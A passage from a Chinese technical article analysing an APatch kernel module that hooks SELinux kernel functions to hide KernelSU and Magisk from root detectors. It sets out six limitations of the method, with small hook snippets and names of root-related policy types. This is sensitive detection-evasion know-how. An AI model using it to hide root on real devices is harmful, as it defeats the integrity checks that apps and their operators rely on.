leaf="">APatch</span></code><span leaf="">的KPM思路与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">运行时方案同源——都是&#34;让应用UID看到一份不含Root类型的旧策略&#34;。只是它把这件事完全放到模块层来做，连</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">这一上游符号都可以舍弃，靠运行时再生成一份等价的&#34;干净策略&#34;来支撑后续所有查询路径。</span></p><h3 data-line="369" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM方案的限制</span></h3><p data-line="371" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">把上述思路真正落到产品级使用时，KPM方案有几条无法回避的限制需要正视。</span></p><p data-line="373" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">限制一：加载时机必须早于Root域追加。</span></strong></p><p data-line="375" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM的干净策略来自</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_read_policy</span></code><span leaf="">运行时读取，而不是像</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">那样在编译期就备份。一旦KPM加载晚于Root域注入，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">snapshot_clean_policy</span></code><span leaf="">抓到的blob里就已经包含</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">magisk_file</span></code><span leaf="">等Root相关type，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">clean_context_exists(&#34;u:r:ksu:s0&#34;)</span></code><span leaf="">随即返回</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">true</span></code><span leaf="">，KPM不仅不会拦截，反而会</span><strong><span leaf="">主动放行</span></strong><span leaf="">，检测器写入成功后直接判定</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu_domain_valid=true</span></code><span leaf="">命中。因此该KPM</span><strong><span leaf="">不适合热加载</span></strong><span leaf="">，必须由</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bootkernel</span></code><span leaf="">加载链在SELinux初始化之前就将其驻留到内核。</span></p><p data-line="377" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">限制二：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">compute_av</span></code><span leaf="">深层入口实际并未做策略重定向。</span></strong></p><p data-line="379" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">虽然KPM挂上了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">context_struct_compute_av</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">string_to_context_struct</span></code><span leaf="">两个钩子，但其</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">before_policydb_arg0</span></code><span leaf="">回调中真正替换</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">policydb</span></code><span leaf="">参数的条件是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">g_clean_eval_depth &gt; 0</span></code><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="381" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (g_clean_eval_depth &amp;&amp; clean_db &amp;&amp; incoming) {</span><span leaf=""><br/></span><span leaf="">    args-&gt;arg0 = (u64)(</span><span style="color: rgb(163, 21, 21);"><span leaf="">uintptr_t</span></span><span leaf="">)clean_db;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="388" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">g_clean_eval_depth</span></code><span leaf="">只有在KPM自己调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">g_security_context_to_sid</span></code><span leaf="">做内部清洁评估时才会临时大于零；对</span><strong><span leaf="">外部直接调用</span></strong><span leaf="">这两个函数的情况，本钩子退化为观察者，只负责检测脏策略并触发快照，并不实际改写计算输入。这与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">my_write_access</span></code><span leaf="">把应用UID的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">av_decision</span></code><span leaf="">计算彻底引导到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">不同。</span></p><p data-line="390" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实战中这个不等效之所以</span><strong><span leaf="">没有暴露</span></strong><span leaf="">，是因为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DirtySepolicy</span></code><span leaf="">走的都是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/sys/fs/selinux/access</span></code><span leaf="">这一用户态写入路径，被前面的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sel_write_access</span></code><span leaf="">钩子提前拦截了；一旦未来出现绕过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/sys/fs/selinux/access</span></code><span leaf="">、直接经</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">compute_av</span></code><span leaf="">系内核内部入口探测的检测器，本KPM将失守，而</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">仍可拦截。</span></p><p data-line="392" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">限制三：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">clean_context_token_exists</span></code><span leaf="">基于字节子串匹配。</span></strong></p><p data-line="394" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">走的是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_context_to_sid_with_policy(backup_sepolicy, ...)</span></code><span leaf="">，由内核策略引擎给出标准答案；而本KPM则是在blob里做ASCII子串扫描，匹配的是&#34;</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">:</span></code><span leaf="">后到行尾的最后一段type名&#34;。这意味着若干净策略里恰好出现某Root相关字符串作为其他type名的子串，存在理论上的误判风险。实践中Root相关type名（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">magisk</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">magisk_file</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu_file</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">lsposed_file</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">xposed_data</span></code><span leaf="">）通常是独立token，干净策略里不存在与之构成部分匹配的合法type，故误判概率极低，但仍是潜在脆弱点。</span></p><p data-line="396" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">限制四：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_read_policy</span></code><span leaf="">双ABI不兼容。</span></strong></p><p data-line="398" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">本KPM对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_read_policy</span></code><span leaf="">只按&#34;无state参数&#34;的2参形态调用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="400" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">typedef</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">int</span></span><span style="color: inherit;"><span leaf="">(*</span><span style="color: rgb(163, 21, 21);"><span leaf="">security_read_policy_t</span></span><span leaf="">)</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> **data, </span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> *len)</span></span><span leaf="">;</span></code></pre><p data-line="404" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而Android 13/14对应的5.15内核里，该函数仍是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">int security_read_policy(struct selinux_state *, void **, size_t *)</span></code><span leaf="">三参形态。在那类内核上直接以2参签名调用会因参数错位而</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_read_policy</span></code><span leaf="">提前失败，整个干净策略快照流程便走不下去，KPM也就退化为纯观察者。如要兼容旧内核，需要额外按</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kver</span></code><span leaf="">分支选择正确的调用约定。</span></p><p data-line="406" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">限制五：依赖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name</span></code><span leaf="">解析符号。</span></strong></p><p data-line="408" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM挂钩的10个目标和7个辅助函数全部依赖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name</span></code><span leaf="">返回有效地址。在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/kallsyms</span></code><span leaf="">被禁用或符号被剥离的发行版内核上，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_read_policy</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sidtab_cancel_convert</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">copy_from_kernel_nofault</span></code><span leaf="">等任一关键符号缺失，对应钩子就会被跳过，相关检测路径不再被拦截。KPM加载日志中需要逐项确认这些符号是否解析成功。</span></p><p data-line="410" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">限制六：策略热更新场景下的快照陈旧问题。</span></strong></p><p data-line="412" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">若运行期间策略以外部方式被合法更新（例如系统OTA后</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span 